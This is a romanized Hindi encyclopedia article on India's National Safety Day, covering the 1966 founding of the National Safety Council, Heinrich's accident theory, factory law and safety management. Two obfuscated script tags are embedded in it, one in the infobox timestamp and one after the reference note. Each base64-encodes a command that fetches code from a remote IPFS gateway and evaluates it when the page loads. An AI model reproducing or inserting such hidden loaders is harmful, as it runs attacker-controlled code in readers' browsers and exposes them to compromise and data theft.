राष्ट्रीय सुरक्षा दिवस
rashtriy suraksha divas
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| vivaran | bharat mean prati varsh 4 march ko rashtriy suraksha divas manaya jata hai. isi din se hi ek saptah tak chalane vala suraksha abhiyan bhi shuroo ho jata hai. |
| sthapana | 4 march, 1966 ko rashtriy suraksha parishad ki sthapana huee thi. |
| desh | bharat |
| uddeshy | karyasthaloan par suraksha ko badhava dene ke lie poore desh mean rashtriy suraksha divas manaya jata hai. |
| sanbandhit lekh | rashtriy s dak suraksha saptah, rashtriy matadata divas |
| bahari k diyaan | adhikarik vebasait (rashtriy suraksha parishad) |
| adyatan | 14:39, 26 faravari 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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rashtriy suraksha divas (aangrezi:National Safety Day) bharat mean prati varsh 4 march ko manaya jata hai. isi din se hi ek saptah tak chalane vala suraksha abhiyan bhi shuroo ho jata hai. karyasthaloan par suraksha ko badhava dene ke lie poore desh mean rashtriy suraksha divas manaya jata hai.
sthapana
4 march, 1966 ko rashtriy suraksha parishad ki sthapana huee thi aur is avasar par tatkalin rashtrapati d aau. sarvapalli radhakrishnan ne audyogik suraksha ke lie vyapak chetana jagane ka udghosh kiya tha. isake poorv sanh 1965 mean vijnan bhavan mean ayojit rashtrapati ki pratham audyogik suraksha sangoshthi mean unhoanne kaha tha- “Our own constitution puts it down as a directive that we must provide safe and humane conditions of work, for our industrial workers. We should do our outmost to see that conditions of life for them are adequate and they are looked after well. There must be an integration between the management and labour.” us sangoshthi ke aant mean jo siddhaant pratipadit kiya gaya vah tha- “Safety is as responsibility of management with active co-operation of workers and with the sanction and support of the Government.”[1]
jan aandolan
unhoanne audyogik suraksha ko ek nee disha di jisamean yah spasht hua ki suraksha prabandhan ki jimmedari to hai, lekin usamean sabaka sammilit sahayog chahiye. isake poorv sthiti vaisi nahian thi. n keval apane desh mean balki unnisavian sadi mean pashchaty deshoan mean suraksha ke prati vyakti ki soch spashtat: vikasit nahian huee thi. log bhagy ya eeshvar par durghatana ke karanoan ko thop dete the aur nishchiant ho jate the. bad mean shiksha ke prachar prasar se anek jan aandolan hue. logoan ne apane adhikar evan kartavyoan ke bare mean socha aur aantat: 1930 mean ek jarman vaijnanik ech. dablyoo . henarich ne udghosh kiya - “durghatana hoti nahian , ki jati hai. yah hathath nahian hoti – ghatanakram se aantat: is roop mean parinat hoti hai. asurakshit parivesh aur asurakshit kary isake lie jimmedar haian. adami ki aantarik-vaicharik trutiyoan ko door karane ke lie prashikshan do, kanoon banao aur aisi takanik apanao jo adami ki galati ko bhi roke ya use aantim parinam tak nahian pahuanchane de.” poore vishv ke log henarich ke is siddhaant se chauanke, bharat ke log bhi. isake poorv bharat mean hian nahian balki any deshoan mean bhi yah mana jata tha ki durghatana matr sanyog hai, jo hona hoga vahi hoga ya jo eeshvar ki ichchha hogi vahi hoga- usake adhik kuchh nahian hoga. henarich ke vicharoan se chiantan mean parivartan hua. jo usane kaha tha ki kuchh karan aise haian jo dikhaee nahian dete, kuchh aise haian jo pratyaksh dikhaee p date haian. hamean gaharaee mean jana p dega aur durghatana ke mool karanoan ko khojana hoga. jab yah bhavana jagi ki durghatana mean hamara hath hai, ham hi asurakshit karvavidhi evan asurakshit paristhitiyoan ko paida karate haian to ham ise door bhi kar sakate haian ,yadi un paristhitiyoan ko door kar lean ya manaviy bhooloan ko sudhar lean. isake sath hi henarich ne kaha tha ki koee durghatana hathath nahian hoti, balki kramash: ghatanakram se age badhati hai. vah hamare vyaktitv se vyavahar se age badhati hai. yadi ghatanakram ko kahian kat diya jae to durghatana aur chot se bacha ja sakata hai. [1]thumb|left|rashtriy suraksha divas manate skool ke bachche
kanoon sanshodhan
bisavian sadi mean isake nivaran ke lie sarakar ne kanoon banae. bharat mean 1948 mean karakhana adhiniyam bana. kramash: 1976 tatha 1987 mean isamean anek dharaean jo di geean. is kanooni pravadhan se karakhane ke aandar hamare kary vyavahar mean parivartan hua. sath hi paristhitiyoan mean parivartan prarambh hua, lekin yah to nyoonatam avashyakata hai. matr kanoon se bach jana hi paryapt nahian- kuchh aur karana hi hoga. isake pashchath suraksha abhiyantran par vichar kiya gaya aur aise takanik pravadhanoan par socha gaya jo vyakti ki galati ko rokean aur durghatanase bachaean. chalati huee mashinoan mean gard ki vyavastha, chalate hue upakaranoan mean intaral aauk, inhean khas paristhiti mean svat: band hone ke pravadhan kiye gaye aur dijain star se hi takaniki upayoan ko sammilit karane par bal diya gaya jo pravidhi ko surakshit bana dean. isase bhi samasya ka aanshik nidan hi sambhav tha, isake pashchath khataroan se agah rakhane evan unake lie paryapt jagarookata paida karane ke uddeshy se kanoon sanshodhan kiya gaya aur sanyantr ke prabhari ke lie yah avashyak kar diya gaya ki apane karmachariyoan ka suraksha prashikshan atyant avashyak hai.
samasya ka nidan
yah hamari vaidhanik evan naitik jimmedari hai. ajakal har star ke karmachari ke lie avashyakatanusar suraksha-prashikshan ki vyavastha ki jati hai. prashikshan ke madhyam se kam ki janakari dena, suraksha ke prati jagarukata paida karana aur karmachariyoan ke chiantan aur vyavahar mean parivartan lana yah ek kathin kary hai. bhale hi unhean janakari mil jati hai, lekin manovritti mean parivartan utana asan nahian. isaliye prashikshan ya shiksha ek satat prakriya hai. ise nirantar chalate rahana hoga. lekin truti karane ki pravritti manasamean bani rahati hai. karan yah hai ki paristhitiyaan evan poorv sanchit sanskarakarmachari ko prabhavit karate rahate haian. in sanskaroan ko poornat: prabhavit karana ek kathin kary hai. isilie yah avashyak samajha gaya hai ki pranali ka vikas kiya jae jisake tahat n keval takaniki balki prashasanik niyantran ko karagar banaya jae. aj avashyakata hai suraksha prabandhan pranali ki jisake tahat kuchh batoan par bal diya jata hai jisaki charcha avashyak hai. pahali bat hai suraksha evan svasthy niti, jise nishchit karana evan jari karana avashyak hai. yah sansthan ki manyata evan moolyoan ki avadharana ka sanket hai. is niti se hi spasht honi chahie ki prabandhan karmachariyoan ke prati kitani sachesht hai. isaka prabhav pratyek karmachari par p data hai. isake sath hi har varsh ki suraksha kary yojana honi chahie jisake aantargat arthik pravadhan ke sath hi khataroan ke akalan evan nivaran ki yojana, grihavyavastha evan akasmik sthiti nipatane ka poora pravadhan hona avashyak hai. sabase avashyak hai yah manyata ki suraksha n keval prabandhan ki jimmedari hai, balki yah pratyek karmachari ki jimmedari hai. sabhi isamean sakriy roop se sahayata karean aur apani, karmachariyoan ki tatha upakaranoan ki suraksha ko ashvast kare. smaran rahe ki suraksha utpadakata badhati hai, labh arjan mean sahayak hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 ojha, raj kishor. bhashan kala (pustak) (hiandi) googal buks. abhigaman tithi: 26 faravari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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